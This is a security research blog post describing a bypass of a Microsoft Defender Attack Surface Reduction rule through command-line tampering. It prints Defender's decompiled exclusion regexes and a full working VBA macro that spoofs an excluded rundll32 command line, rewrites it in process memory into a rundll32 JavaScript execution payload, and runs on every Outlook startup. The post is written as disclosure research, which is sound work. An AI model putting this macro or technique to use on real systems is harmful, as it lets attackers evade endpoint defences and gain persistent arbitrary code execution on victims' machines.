Microsoft Defender ASR Bypass using Command Line Tampering

I’ve worked a lot with Microsoft Defender Antivirus, and particularly with the Attack Surface Reduction feature. Having built up some understanding of its inner workings with the help of other online literature on the topic, it occurred to me that some of the previous work I’d performed using command line tampering could prove useful in bypassing the ASR rules. In this article, I will describe how I managed to successfully apply this technique to bypass the rule entitled “Block Office communication application from creating child processes”.

Previous researh by Camille Mougey has exposed some of the inner workings of ASR. He showed that certain facets of individual ASR rules are implemented in Lua scripts embedded in Microsoft Defender’s Antivirus definition files. In particular, certain ASR rules have exclusion lists implemented in Lua, and the article provides a few examples of file path based exclusions that could be abused by attackers.

Having followed the techniques described in Mougey’s article, I ended up with my own collection of Lua scripts, and proceeded to see what else I could find. Interestingly, while numerous path-based exclusions are defined in a function named GetPathExclusions, I found that two of the rules provided another function named GetCommandLineExclusions. And naturally, it occurred to me — could I leverage my previous command line tampering work to achieve an effective ASR bypass?

Let’s look first at the decompiled functions that do provide command line exclusions. These are as follows:

Block Process Creations originating from PSExec & WMI commands

GetCommandLineExclusions = function()
  -- function num : 0_3
  local l_4_0 = ".:\\\\windows\\\\ccmcache\\\\.+"
  local l_4_1 = ".:\\\\windows\\\\ccm\\\\systemtemp\\\\.+"
  local l_4_2 = ".:\\\\windows\\\\ccm\\\\sensorframework\\\\.+"
  local l_4_3 = ".:\\\\windows\\\\ccm\\\\signedscripts\\\\.+"
  local l_4_4 = "cmd[^\\s]*\\s+/c\\s+\\\"chcp\\s+65001\\s+&\\s+.:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd\\.exe\\s+list[^>]+>\\s+\\\"\\\\\\\\127\\.0\\.0\\.1\\\\.\\$\\\\temp\\\\[^\\\"]+\\\"\\s+2>&1\\\""
  local l_4_5 = {}
  l_4_5[l_4_0] = 0
  l_4_5[l_4_1] = 0
  l_4_5[l_4_2] = 0
  l_4_5[l_4_3] = 0
  l_4_5[l_4_4] = 0
  return l_4_5
end

Block Office communication application from creating child processes

GetCommandLineExclusions = function()
  -- function num : 0_3
  local l_4_0 = "\\\\wincub~.\\.dll\\\",openstgfile.+"
  local l_4_1 = "rundll32[^\\s]* c:\\\\windows\\\\system32\\\\spool\\\\drivers\\\\.+"
  local l_4_2 = "\\\\cmtrace\\.exe\\\"\\s\\\".+\\.log\\\""
  local l_4_3 = ".:\\\\program files \\(x86\\)\\\\microsoft\\\\edge\\\\application\\\\msedge.exe"
  local l_4_4 = "\\\"?rundll32(\\.exe)?\\\"?\\s+\\\"?.:\\\\program files( \\(x86\\))?\\\\windows photo viewer\\\\photoviewer.dll\\\"?"
  local l_4_5 = {}
  l_4_5[l_4_0] = 0
  l_4_5[l_4_1] = 0
  l_4_5[l_4_2] = 0
  l_4_5[l_4_3] = 0
  l_4_5[l_4_4] = 0
  return l_4_5
end

From the above examples, we can see clearly that the strings are regular expressions. The exclusion mechanism has been designed to provide some flexibility regarding the exact command lines that it permits.

The second of these looks particularly interesting, because it has two entries that reference rundll32.exe, a well-known LOLBin. Indeed, there is an invocation of rundll32.exe that can use JavaScript to launch any other arbitrary process:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

Interestingly, attempting to run the above command line may result in an outright block by Windows Defender Antivirus (not ASR).

Looking at the two command line exclusions involving rundll32.exe, let us first try to imagine why they were put in there in the first place. The first entry is referencing the print spooler directory, so one might assume that it is something to do with printing. The second entry references the “Windows Photo Viewer” DLL, which is helpfully provided in both 32- and 64-bit formats. If I were to guess, this might be launched in order to view images in email attachments, although on my machine it seemed to want to launch Paint instead. I have a feeling that this might be functionality provided by older versions of Outlook.

So, what we want to do from out Office Communication application (i.e. Outlook) is to:

1. Launch a suspended new process with a command line that would match the regular expression in the exclusion list. The following command line proides an example which would match the regular expression, while also appearing to be a legitimate invocation against a location where Outlook is known to store temporary files.

rundll32.exe "C:\program files\windows photo viewer\photoviewer.dll",ImageView_Fullscreen C:\Users\xxxx\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\FEC5USK9\IMG_00000000 

2. Modify the command line in the new process with something that could launch our desired executable:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

3. Resume the process, allowing it to run the modfied command line.

It is our expectation that Microsoft Defender will perform the ASR rule processing as soon as the process is created – once it has determined that the process is excluded, it will allow that process and all its children to run unimpeded.

Macros in Word and Excel are well-known, and are the tool of choice for demostrating ASR, and ASR bypasses affecting those applications. However, this rule only affects Outlook. Fortunately for us, Outlook also provides limited VBA macro functionality, but instead of allowing macros in documents (wouldn’t that be fun?), VBA macros may only be provided in the form of one file:

%APPDATA%\Microsoft\Outlook\VbaProject.OTM

We’ll take what we’re given.

Below is a VBA implementation of the “in situ” command line tampering technique I presented in Part I of my Command Line Tampering series.

' https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms684873(v=vs.85).aspx
Private Type PROCESS_INFORMATION
    hProcess As LongPtr     'HANDLE hProcess;
    hThread As LongPtr      'HANDLE hThread;
    dwProcessId As Long     'DWORD  dwProcessId;
    dwThreadId As Long      'DWORD  dwThreadId;
End Type

' https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
Private Type STARTUP_INFO
    cb As Long                  'DWORD  cb;
    lpReserved As String        'LPSTR  lpReserved;
    lpDesktop As String         'LPSTR  lpDesktop;
    lpTitle As String           'LPSTR  lpTitle;
    dwX As Long                 'DWORD  dwX;
    dwY As Long                 'DWORD  dwY;
    dwXSize As Long             'DWORD  dwXSize;
    dwYSize As Long             'DWORD  dwYSize;
    dwXCountChars As Long       'DWORD  dwXCountChars;
    dwYCountChars As Long       'DWORD  dwYCountChars;
    dwFillAttribute As Long     'DWORD  dwFillAttribute;
    dwFlags As Long             'DWORD  dwFlags;
    wShowWindow As Integer      'WORD   wShowWindow;
    cbReserved2 As Integer      'WORD   cbReserved2;
    lpReserved2 As LongPtr      'LPBYTE lpReserved2;
    hStdInput As LongPtr        'HANDLE hStdInput;
    hStdOutput As LongPtr       'HANDLE hStdOutput;
    hStdError As LongPtr        'HANDLE hStdError;
End Type

Private Const CREATE_SUSPENDED = &H4

Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUP_INFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" (ByVal ProcessHandle As LongPtr, ByVal ProcessInformationClass As Long, ByRef ProcessInformation As Any, ByVal ProcessInformationLength As Long, ByRef ReturnLength As LongPtr) As Long
Private Declare PtrSafe Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesRead As LongPtr) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesWritten As LongPtr) As Long
Private Declare PtrSafe Function ResumeThread Lib "kernel32" (ByVal hThread As LongPtr) As Long

Public Function BytesToLongPtr(b() As Byte, offset As Long) As LongPtr
  CopyMemory BytesToLongPtr, b(LBound(b) + offset), 8
End Function

Sub LaunchWithAsrBypass()
  Dim r As LongPtr
  
  Dim originalCmdLine As String, newCmdLineBuf() As Byte
  
  newCmdLine = "rundll32.exe javascript:""\..\mshtml.dll,RunHTMLApplication "";eval(""w=new%20ActiveXObject(\""WScript.Shell\"");w.run(\""calc\"");window.close()"");"
  newCmdLineBuf = newCmdLine
  
  ' Build an original command line with a plausible looking image file path
  originalCmdLine = "rundll32.exe ""c:\program files\windows photo viewer\photoviewer.dll"",ImageView_Fullscreen "
  originalCmdLine = originalCmdLine & Environ("LocalAppData") & "\Microsoft\Windows\INetCache\Content.Outlook\FEC5USK9\IMG_00000000"
  ' Extend the original command line such that its length is at least equal to that of the new command line.
  While Len(originalCmdLine) < (Len(newCmdLine) - 4)
    originalCmdLine = originalCmdLine & "0"
  Wend
  originalCmdLine = originalCmdLine & ".PNG"
  
  ' Start the process with the original command line, in a suspended state...
  Dim processInfo As PROCESS_INFORMATION, startupInfo As STARTUP_INFO, strNull As String
  lCreateProcess = CreateProcess(strNull, originalCmdLine, 0&, 0&, False, CREATE_SUSPENDED, 0&, strNull, startupInfo, processInfo)
  
  ' Navigate the PEB to get the command line pointer
  Dim processBasicInfo(48) As Byte, peb(60) As Byte, processParams(128) As Byte
  Status = NtQueryInformationProcess(processInfo.hProcess, 0, processBasicInfo(0), 48, r)
  pPeb = BytesToLongPtr(processBasicInfo, 8)
  lRet = ReadProcessMemory(processInfo.hProcess, pPeb, peb(0), 40, r)
  pProcessParams = BytesToLongPtr(peb, 32)
  lRet = ReadProcessMemory(processInfo.hProcess, pProcessParams, processParams(0), 128, r)
  pCmdLine = BytesToLongPtr(processParams, 120)
  
  ' Write the new command line and a terminating null character
  lRet = WriteProcessMemory(processInfo.hProcess, pCmdLine, newCmdLineBuf(0), UBound(newCmdLineBuf), r)
  Dim unicodeNull(2) As Byte
  lRet = WriteProcessMemory(processInfo.hProcess, pCmdLine + UBound(newCmdLineBuf), unicodeNull(0), 2, r)
  
  ' Let the process run
  lRet = ResumeThread(processInfo.hThread)
End Sub

Private Sub Application_Startup()
  LaunchWithAsrBypass
End Sub

Note the Application_Startup function at the end. As suggested by its name, this function, if present within the VbaProject.OTM file, will be executed whenever Outlook is started.

Let’s test this out in the editor. First we’ll run a simple test to confirm that calc.exe is blocked by ASR. Then, we’ll test the ASR Bypass code as detailed above. We can see the results in the following video.

Concluding Remarks

The built-in path-based ASR exclusions provide many opportunities for ASR bypasses. Command line exclusions are intended to make it more difficult to bypass ASR, especially given general-purpose applications like rundll32.exe, could be used for good or bad. However, we have demonstrated here that, with a little bit more effort, command line exclusions can also be abused to bypass ASR rules. We acknowledge that our task was made easier by the use of a well-known LOLbin, so our message to Microsoft is to pay close attention to what you’re excluding, and don’t assume that command line exclusions are automatically safe.

Leave a comment